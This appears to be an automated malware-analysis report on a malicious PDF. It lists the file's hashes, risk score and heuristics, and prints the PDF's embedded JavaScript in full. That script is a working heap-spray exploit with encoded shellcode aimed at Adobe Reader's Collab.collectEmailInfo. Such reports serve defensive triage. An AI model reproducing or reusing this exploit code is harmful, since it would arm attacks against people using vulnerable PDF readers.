PDF malware analysis — malicious · c6ea21762a330933

MALICIOUS

PDF

4.2 KB Created: 2008-02-08 11:58:15 -05:00 Authoring application: TeX (via pdfeTeX-1.21a) First seen: 2026-05-08

MD5: 799d775c562b22cbbe8f991755f440d8 SHA-1: 65a6cf23cf65117048c2d3fc359cb55802f9008b SHA-256: c6ea21762a33093318faa3110cf54f2feee3f237c8afc13e033da70c60664ee4

208 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named 'javascript_obj0001_000.js', appears to be obfuscated, as suggested by the PDF_UNESCAPE firing and the 'Script obfuscation indicators' signal. The primary function of this script is likely to download and execute a secondary payload from a remote source, which is a common technique for initial access or further infection stages. Due to the obfuscation, the exact download URL or execution method could not be definitively determined.

Machine Learning

Nyx PDF Classifier malicious score 0.9989

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

/Type /Annot
/Subtype /Screen /Border [0 0 0]/AA << /PV << /S /JavaScript /JS (var a=new Array(1073741823); var fil=unescape('\%u0d0d'); for(var i=1;i<0x10000;i=i+i)fil=fil+fil; fil=fil+unescape("\%uc933\%ue983\%ud9dd\%ud9ee\%u2474\%u5bf4\%u7381\%ue213\%ub844\%u83b1\%ufceb\%uf4e2\%uac1e\%ub1fc\%u44e2\%uf433\%ucfde\%ub4c4\%u459a\%u3a57\%u5cad\%uee33\%u45c2\%uf853\%u7069\%ub033\%u750c\%u2878\%uc04e\%uc578\%u85e5\%ubc72\%u86e3\%u4553\%u10d9\%ub59c\%ua197\%uee33\%u45c6\%ud753\%u4869\%u3af3\%u58bd\%u5ab9\%u5869\% …
/Rect [91.8009 386.1246 440.4934 734.817]

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0001_000.js`	pdf-javascript-stream	PDF /JS object 1 at offset 0x106	816 bytes
SHA-256: `c0b141fe0c7bfb7000d19cb612f9610b75cfecf5c45d2bbe856518d06d71bb4d`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var a=new Array(1073741823); var fil=unescape('%u0d0d'); for(var i=1;i<0x10000;i=i+i)fil=fil+fil; fil=fil+unescape("%uc933%ue983%ud9dd%ud9ee%u2474%u5bf4%u7381%ue213%ub844%u83b1%ufceb%uf4e2%uac1e%ub1fc%u44e2%uf433%ucfde%ub4c4%u459a%u3a57%u5cad%uee33%u45c2%uf853%u7069%ub033%u750c%u2878%uc04e%uc578%u85e5%ubc72%u86e3%u4553%u10d9%ub59c%ua197%uee33%u45c6%ud753%u4869%u3af3%u58bd%u5ab9%u5869%ub033%ucd09%u95e4%u87e6%u7189%ucf86%u81f8%u8467%ubdc0%u0469%u3ab4%u5892%u3a15%u4c8a%ub853%uc469%ub108%u44e2%ud933%u1bde%u4789%u1282%u4931%u8461%ue1c3%u3a8a%u5360%u2c91%u4f20%u4a68%u4eef%u2705%uddd9%u6a81%uc9dd%u4487%ub1b8"); for(var i=0;i<0xd00;i=i+1)a[i]=fil+i; var s=unescape('%ubeef%u0ded');for(var i=2;i<0x4000;i=i+i){s=s+s;a[i]=s;} Collab.collectEmailInfo(s,s,s,s,s,s,s,s,s,s); app.alert('done'); app.execMenuItem('Close');
`javascript_obj0001_000_shellcode_00.bin`	pdf-js-shellcode	pdf-js-unescape-shellcode recovered from PDF /JS object 1 at offset 0x106	164 bytes
SHA-256: `1213565db01d40a0784b9998a50ab439b1db0d7b23c5863e070a5def7501a462`
Detection ClamAV: Win.Exploit.Fnstenv_mov-1 Obfuscation or payload: unlikely

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